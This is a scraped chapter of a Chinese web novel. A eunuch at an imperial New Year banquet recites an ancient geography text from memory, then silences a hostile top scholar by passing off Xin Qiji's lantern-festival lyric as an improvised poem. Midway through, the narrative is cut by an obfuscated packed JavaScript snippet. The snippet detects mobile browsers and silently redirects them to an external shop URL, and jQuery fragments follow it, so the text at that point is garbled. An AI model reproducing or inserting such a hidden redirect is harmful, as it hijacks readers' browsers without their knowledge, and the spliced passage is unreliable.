默认冷灰
24号文字
方正启体

88.第 90 章

作者:番茄炒蛋豪吃本书字数:K更新时间:
    “关提督,请。”冯远道温声道。


    关禧向御座方向微一躬身,然后转向殿中众人,开始复述。声音起初平稳,逐渐流畅:


    “《前朝地理志·西域补遗》载:自玉门西出,首至鄯善,去长安六千一百里,户千五百七十,口四千余,地产玉石、蒲陶……其西有且末,距鄯善七百二十里,户二百三十,口千余,贡硇砂、赤盐。再西行,经精绝、戎卢、渠勒……至扜弥,距且末三千三百里,户三千三百四十,口两万余,有金矿,岁贡麖金五十两……”


    他一字一句,将那段古奥文字的内容清晰道出。不仅大意完整,连那些繁琐的国名,里程,户数,口数,特产,贡赋数目,都复述得毫厘不差,甚至一些原文中拗口的连接词和虚字,都未曾遗漏或更改。


    起初,殿中还有人带着怀疑或看好戏的心态倾听,但随着关禧流畅准确的复述,那些表情逐渐变成了惊愕,难以置信。文官们尤其震动,他们深知这段文字的艰涩与信息之琐碎,即便事先读过,要如此精准复述也绝非易事,更何况是这仓促之间的短暂记忆。


    屏风之后,冯媛一直垂着的眼帘抬起,望着殿中那个侃侃而谈的绯红身影,袖中的手指松开。徐昭容则撇了撇嘴,有些不屑,又有些不安。


    当关禧复述完最后一个字,殿内陷入一片寂静。


    落针可闻。


    旋即,冯远道第一个抚掌赞叹:“一字不差!关键数据,分毫无误!关提督好记性!老臣佩服!”他转向御座,由衷道,“陛下得此良才,实乃朝廷之福!”


    他这一赞,顿时打破了寂静。许多文官纷纷附和,惊叹不已。连一些武官也啧啧称奇。外邦使节更是睁大了眼睛,交头接耳,通译低声飞快地解释着,他们脸上也露出不可思议的神色。


    萧衍脸上露出了今日宴席以来最真切的一丝笑容,他看向关禧,眼中带着明确的嘉许:“果然未曾让朕失望。赏!”


    立刻有太监端上赏赐,是一套文房四宝,皆是内府珍品,价值不菲。


    关禧谢恩领赏,重新归座。


    正当殿内气氛因关禧出色的表现而转向赞叹,丝竹声渐起,要将方才那场考校带来的微妙紧绷轻轻揭过时。


    一道清朗的声音,自文官席列中段响起:


    “关公公过目不忘,博闻强识,着实令人惊叹。不过,今日元旦盛宴,万象更新,如此才情,若只用于复述故纸陈篇,未免……可惜了。”


    众人循声望去,只见新科状元,翰林院修撰桑连云自席间起身。他不过二十出头年纪,身着青色官袍,身姿挺拔如修竹,面容清俊,眉宇间带着读书人特有的矜持,只是此刻,他嘴角虽噙着礼节性的笑意,眼底却无半分温度,目光如淬了冰的针,直直刺向御座左前方那抹绯红。


    殿内倏然一静。许多人心头咯噔一下。


    桑连云,永昌五年殿试头名,名副其实的状元郎。文章锦绣,才名远播,更难得的是生了一副好相貌,风仪出众,殿试传胪之日,便引得京城瞩目。据说陛下阅卷后曾特意召见,言语间颇为欣赏,甚至……有过某些暗示。奈何此子心高气傲,自恃才学,又以清流自许,竟坚决推拒了那常人求之不得的殊荣,只愿以文章报效朝廷。此事虽未张扬,但在消息灵通的宫闱与朝堂,早已不是秘密。


    自那以后,这位本该前程似锦的状元郎,便似被遗忘了一般,稳稳坐在翰林院修撰的位置上,再无寸进。往日灼热的目光渐渐冷却,取而代之的是各种复杂的审视与隐隐的排挤。今日宫宴,他能列席在此,凭的是新科状元这块招牌,而非实际权位。


    此刻他忽然发难,目标直指风头正劲的关禧,其中滋味,耐人寻味。是出于文人对阉宦弄权的本能鄙夷?是因昔日被皇帝青眼却未能把握,如今见关禧这般出身卑微的太监反而简在帝心而生出的嫉恨?还是单纯觉得方才冯祭酒那场考校太文雅,未能让这阉人出够丑?


    关禧抬起眼,迎上桑连云的目光。


    他记得这个人。


    萧衍原本松弛靠在御座上的身体前倾,指尖在光滑的扶手上一点,目光在桑连云的脸上停留了一瞬,眸色微深,随即又恢复平淡。


    桑连云见吸引了全殿注意,尤其是御座上的目光,精神微振,继续道:“方才齐王殿下所言极是,盛宴当有雅趣。冯祭酒考校记诵,乃是博学之基。然我辈文人,逢此佳节,感念天恩,沐浴清化,岂能无诗?诗以言志,歌以咏怀。关公公既得陛下信重,总揽……稽查之权,”他略过了“内缉事厂”这个敏感词,语气更显讥诮,“想必胸中亦有丘壑,绝非寻常庸碌之辈可比。不知关公公可愿即景赋诗一首,让我等领略一番,陛下身边近臣的风采?也让我等见识见识,除了记诵案牍,关公公是否亦有锦心绣口?”


    图穷匕见。


    记诵古书,还可归结于天赋异禀或下过苦功。但即景赋诗,需才思,学识,情怀,文采缺一不可,是真正检验文人底蕴的试金石。在桑连云乃至绝大多数朝臣看来,关禧一个太监,即便认得几个字,能理清文书,于诗词一道,必然粗陋不堪。让他当场作诗,简直是逼着公鸡下蛋,其心可诛。


    殿内气氛陡然变得诡异起来。文官队列中,有人面露不忍,觉得桑连云此举过于刻薄,有失风度,有人则眼含期待,等着看这嚣张阉奴如何出丑,徐阶等人嘴角已忍不住上扬。勋贵武臣那边则大多觉得无趣,这状元郎书生意气,不知死活。


    关禧心中一片冷然。果然来了。桑连云这是憋着劲儿要把他踩进泥里,以泄私愤,或许还想借此在皇帝面前重新彰显他文人的风骨。


    诗词?他确实不会做。但他脑子里装着的,是中华文明千年积淀的瑰宝,是另一个时空无数天才心血的结晶。从前低调,是不愿惹眼,也是没到必要时刻。如今,桑连云把脸凑上来求打,皇帝在座上看着,百官在底下盯着,他若再退,丢的不仅是自己的脸,更是皇帝和内缉事厂的威严。


    既然如此……


    他站起身,绯红蟒袍在通明烛火下流淌着暗沉的光泽。


    “桑状元。奴才微末之身,岂敢在状元公面前妄谈诗词?状元公锦绣文章,天下皆知,奴才不过略识之无,岂能相比?”


    先示弱,将对方捧高。这是套路,也是实话。殿中许多人闻言,皆以为他这是要认输讨饶了,不由露出果然如此的神色。


    桑连云眼底讥诮更浓,正要乘胜追击,再挤兑几句。


    却听关禧话锋一转,语气平稳:“然则,今日元旦佳节,陛下赐宴,君臣同乐。状元公有此雅兴,奴才虽不才,亦不敢扫了诸位雅兴,更不敢负了陛下恩典。”他转向御座,躬身道,“陛下,奴才愚钝,于诗词一道实无造诣,唯往日随侍之余,偶阅前人诗篇,感其气象,记其辞章。今日便斗胆,借前人些许意境,应景胡诌几句,聊以助兴,若有粗陋不当之处,万望陛下与诸位大人、状元公勿要见笑。”


    他这番话,既撇清了自己创作的嫌疑,声明是借前人意境,应景胡诌,将期待值降到最低,又巧妙接下了挑战,还把皮球踢回给桑连云和众人。我说了我不行,是你们非要看,看了就别嫌难看。


    萧衍眼中掠过一丝兴味,点了点头:“准。念来。”


    关禧直起身,目光扫过殿外。雪后初霁,夜色已浓,宫灯如昼,映照着琼楼玉宇,远处太液池冰面如镜,倒映着璀璨星光与宫阙灯火。


    他略一沉吟,清脆的声音在寂静大殿中响起:


    “东风夜放花千树,更吹落、星如雨。”


    开篇一句,意象瑰丽奇绝,以东风催开万千灯火如花树,吹落星


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196926|192226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辰如雨,瞬间将宫宴的璀璨辉煌与天地间的壮阔气象勾连在一起,磅礴之势扑面而来。殿中不少人下意识地随着他的诗句望向殿外辉煌灯火,心中一震。


    桑连云眉头倏然蹙紧。


    关禧语调微扬,继续吟道:


    “宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。”


    銮驾仪仗,宝马香车,乐声悠扬,美酒流光,彻夜欢舞……寥寥数语,盛世宴游的繁华喧嚣如在眼前,画面流转,声色俱全。这已不仅仅是写景,更是对今日宫宴盛况的精准描摹。


    文官席中,已有懂诗之人面露惊异。这绝非不通文墨之人能胡诌出的句子。


    关禧声音渐缓:


    “蛾儿雪柳黄金缕,笑语盈盈暗香去。”


    仿佛镜头拉近,瞥见盛装女子云鬓金饰,笑语嫣然,暗香浮动,却又悄然远去,留下一抹惊艳又怅然的余韵。屏风后的妃嫔们不觉凝神,仿佛诗句中的蛾儿雪柳正映照着她们今日的盛装。


    然后,他目光似有意似无意地掠过御座,又扫过桑连云那张已然失色的脸,最终投向殿外无垠的夜空,声音陡然拔高:


    “众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。”


    最后几句,峰回路转,意境全出,于极盛极闹之中,陡然勾勒出一个超然独立,自甘寂寞的那人形象。寻觅千百度而不见,回首间却发现在那灯火冷落之处。这寻觅与顿悟,这热闹与孤清,这执着与超脱,形成了动人的对比,余韵无穷,直叩人心。


    殿内,死一般的寂静。


    每一个人,无论是精通诗词的文臣,还是不甚了了的武官,甚至是屏风后的后宫众人,都被这突如其来的的诗句震住了。


    这哪里是胡诌?这分明是足以流传千古的绝妙好词,其意境之超迈,辞藻之精丽,气象之开阔,转折之巧妙,尤其是最后点睛之笔带来的哲思与余味,莫说桑连云,便是当朝公认的诗词大家,也未必能轻易作出。


    桑连云僵立在席前,脸上血色褪尽。


    他嘴唇哆嗦着,想要挑刺,想要说这定是抄袭前人,可搜肠刮肚,竟想不出哪朝哪代哪位名家有过如此气象,如此辞句。


    这词句浑然天成,好像本该就存在于这夜色之中,只是被这太监信手拈来,他引以为傲的才学,在这首胡诌的词面前,显得如此苍白可笑。


    更让他如坠冰窟的是,那众里寻他千百度的执著,那灯火阑珊处的孤清,像一面镜子,照出了他此刻乃至这些时日的境遇,自诩清高,徘徊在权力与恩宠的边缘,寻觅着所谓的直道,却不知早已被摒弃于真正的灯火之外。而那个他鄙夷的阉宦,却站在御座之侧,吟出了这般境界……


    萧衍靠在御座上的身体已完全坐直,目光灼灼地盯着关禧。


    这太监,总能给他惊喜,或者说……惊吓。


    冯远道已忍不住击节,低声叹道:“妙哉!此词只应天上有!关公公大才,老朽……老朽佩服!”他这一叹,打破了寂静。


    旋即,低低的议论声,赞叹声如潮水般涌起,迅速席卷大殿。无论真情还是假意,此刻无人能否认这首词的惊艳。


    关禧仿若未闻那些议论,也未曾去看桑连云摇摇欲坠的身形,他转向御座,再次躬身,语气谦卑如初:“奴才信口雌黄,拾前人牙慧,勉强拼凑,污了圣听,请陛下恕罪。”


    萧衍深深看了他一眼,忽而朗声大笑:“好一个蓦然回首,那人却在,灯火阑珊处!关禧,你总是能给朕惊喜!此词当浮一大白!赏!重重有赏!”


    皇帝金口玉言,定音锤落下。


    桑连云身躯剧震,猛地后退半步,撞在身后案几上,杯盘轻响,他却浑然不觉,只觉满殿灯火辉煌,竟无一处可以容身,那灯火阑珊处,成了对他最绝妙的讽刺。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)